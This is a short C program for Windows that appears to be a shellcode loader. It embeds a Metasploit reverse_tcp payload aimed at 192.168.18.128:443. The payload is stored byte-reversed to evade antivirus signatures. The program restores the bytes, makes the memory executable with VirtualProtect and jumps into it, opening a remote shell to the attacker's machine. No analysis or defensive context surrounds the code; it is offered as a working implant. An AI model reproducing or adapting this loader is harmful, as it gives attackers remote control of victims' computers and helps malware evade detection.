#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>


//192.168.18.128 443 reverse_tcp
char met0[] =
"\x00\xd5\xff\x53\x00\x6a\x56\xa2\xb5\xf0\xbb\xc3\xc7\x75\xc6"
"\x29\xc3\x01\xff\xff\xff\x71\xe9\x24\x0c\xff\x5e\x5e\xd5\xff"
"\x61\x4d\x6e\x75\x68\x57\xd5\xff\x30\x0f\x2f\x0b\x68\x50\x00"
"\x6a\x00\x00\x40\x00\x68\x58\x22\x7d\x00\xf8\x83\xd5\xff\x5f"
"\xc8\xd9\x02\x68\x57\x53\x56\x00\x6a\x53\x93\xd5\xff\xe5\x53"
"\xa4\x58\x68\x00\x6a\x56\x00\x00\x10\x00\x68\x40\x6a\x36\x8b"
"\x36\x7e\x00\xf8\x83\xd5\xff\x5f\xc8\xd9\x02\x68\x57\x56\x04"
"\x6a\x00\x6a\x00\x00\x00\x61\xe8\xec\x75\x08\x4e\xff\x0a\x74"
"\xc0\x85\xd5\xff\x61\x74\xa5\x99\x68\x57\x56\x10\x6a\x97\xd5"
"\xff\xe0\xdf\x0f\xea\x68\x50\x40\x50\x40\x50\x50\x50\x50\xe6"
"\x89\xbb\x01\x00\x02\x68\x80\x12\xa8\xc0\x68\x05\x6a\xd5\xff"
"\x00\x6b\x80\x29\x68\x50\x54\xc4\x29\x00\x00\x01\x90\xb8\xd5"
"\xff\x07\x26\x77\x4c\x68\x54\x5f\x32\x73\x77\x68\x00\x00\x32"
"\x33\x68\x5d\x8d\xeb\x12\x8b\x5a\x5f\x5f\xe0\xff\x51\x5a\x59"
"\x61\x5b\x5b\x24\x24\x44\x89\xd0\x01\x8b\x04\x8b\xd3\x01\x1c"
"\x58\x8b\x4b\x0c\x8b\x66\xd3\x01\x24\x58\x8b\x58\xe4\x75\x24"
"\x7d\x3b\xf8\x7d\x03\xf6\x75\xe0\x38\xc7\x01\x0d\xcf\xc1\xac"
"\xff\x31\xd6\x01\x8b\x34\x8b\x49\x3a\xe3\x18\x49\x8b\xd3\x01"
"\x20\x59\x8b\x51\xd1\x01\x48\xe3\x78\x11\x4c\x8b\x3c\x4a\x8b"
"\x10\x52\x8b\x57\x52\xf2\xe2\xc7\x01\x0d\xcf\xc1\x20\x2c\x02"
"\x7c\x61\x3c\xac\xff\x31\x26\x4a\xb7\x0f\x28\x72\x8b\x14\x52"
"\x8b\x0c\x52\x8b\x30\x50\x8b\x64\xc0\x31\xe5\x89\x60\x00\x00"
"\x00\x82\xe8\xfc";

char met[334];


void init()
{
	int i;
	for (i = 0; i < 334; i++)
		met[i] = met0[333 - i];
}


int main()
{
	init();
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr = (INT32*)&met;

	__asm;
	{
		call addr;
	}
	return 0;
}